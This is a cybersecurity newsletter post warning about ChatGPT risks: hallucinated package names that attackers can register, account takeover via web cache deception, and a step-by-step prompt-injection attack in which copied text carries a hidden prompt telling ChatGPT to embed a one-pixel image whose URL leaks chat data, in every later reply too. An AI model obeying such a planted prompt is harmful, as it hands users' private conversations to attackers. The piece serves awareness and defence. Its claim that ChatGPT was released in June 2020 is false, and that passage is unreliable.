ChatGPT's Security Spotlight

What happens when ChatGPT and hackers met?

?? This is won’t be the classic newsletter where someone tells you what chatGPT is and what can you do with it. You can find tons of information of that online, and if you are here I assume that you already know what it is and at least used it once. ??

Not many people are aware of the security risks associated with this technology.

For example, more than 100.000 OpenAI chatGPT account credentials have been sold in the deep web between June 2022 and May 2023.

AI is an incredible tool that makes our life easier in many ways. However, like any other tool ,such as a hammer or the internet, it is important to be aware of the risks it carries.

We’ll cover some of the attacks that involves AI in some way.

??AI Package Hallucination

This attack is particularly dangerous because AI tools are frequently used by programmers for troubleshooting coding errors.

This attack can take place when someone gives chatGPT a coding task. Due to the possibility of outdated training data, the AI's responses may reference packages that no longer exist, providing an opportunity for attackers to exploit.

Lets say that you tell chatGPT “hey chatGPT, give me the code to launch a rocket into space ??, in python ??”, and it gives you the following code:

import reallysecurepackage

def main():
	if rocket not in space:
		put_rocket_in_space()
	else:
		print("Good Work!")

	return

if __name__ == "__main__":
    main()        

You see that in the code there’s the package “reallysecurepackage”, which usually people don’t verify if it actually exists or not, just copy-paste the output and try it in their local environment.

The attackers can create this fake package in the npm repository with malicious code, and the next time a user asks for a similar coding problem, chatGPT will return the code with this infected package.

AI tools are great for helping with coding problems, but you have to double-check the information they give you because it might be outdated or not totally accurate.

???Prompt Injection Attack

There’s an attack that aim users of the web version of chatGPT. You can see below the workflow of the attack for better understanding

The attacks works this way:

1. A user visits an attacker's website and selects and copies some text or code.
2. The attacker's JavaScript code captures the "copy" event and inserts a malicious ChatGPT prompt into the copied text, making it infected.
3. The user then pastes the copied text into the ChatGPT chat.
4. The malicious prompt instructs the AI to append a small single-pixel image to the chatbot's response and include sensitive chat data as an image URL parameter.
5. When the image starts loading, the sensitive data is sent to the attacker's remote server through a GET request.

The infected prompt can also ask ChatGPT to add the image to all future responses, enabling the theft of sensitive data from future user prompts as well.

It’s important to prevent this to happen to be sure that the websites we visit are safe, always have the HTTPS protocol enabled, and we can also scan it with free online tools like virustotal.com if we still have some doubts.

?????Account Takeover

This attack uses Web Cache Deception, a tactic employed by attackers to exploit web caching mechanisms. It involves manipulating cache systems to serve cached versions of web pages that may contain sensitive or private information to unintended users. Essentially, it tricks the cache into delivering confidential content to individuals who should not have access to it, leading to security breaches and data leaks.

This way an attacker can get user’s credentials of chatGPT accounts, and if we didn’t follow the best practices of usage, like NOT using personal information, or productive code, or credentials, as prompt, this could be a major issue for us and our organization.

There are a lot of people for and against IA, I think is a tool, and as any other tool is not good or bad, it depend on us how to use it and be aware of the risks. According to chatGPT it was released to the public on the 28th of June 2020, around 3 years ago, and it’s making really big changes in all industries and our lives that we may don’t understand yet, the important thing is to think about the potential issues that comes up with every new update.

???Thank you for reaching to this point! It’s really important to me and if you have any feedback regarding this edition or any other edition, please share it in the comments, I’d be happy to read it.

In each edition of this newsletter, I will provide you with additional resources if you want to explore each specific topic in more detail.

????Stay one step ahead of cyber threats. Subscribe now to receive cybersecurity and Identity and Access Management tips!

???Additional Resources

• Prompt Injection Attack in depth
• Account Takeover vulnerability in chatGPT
• AI Package Hallucination attack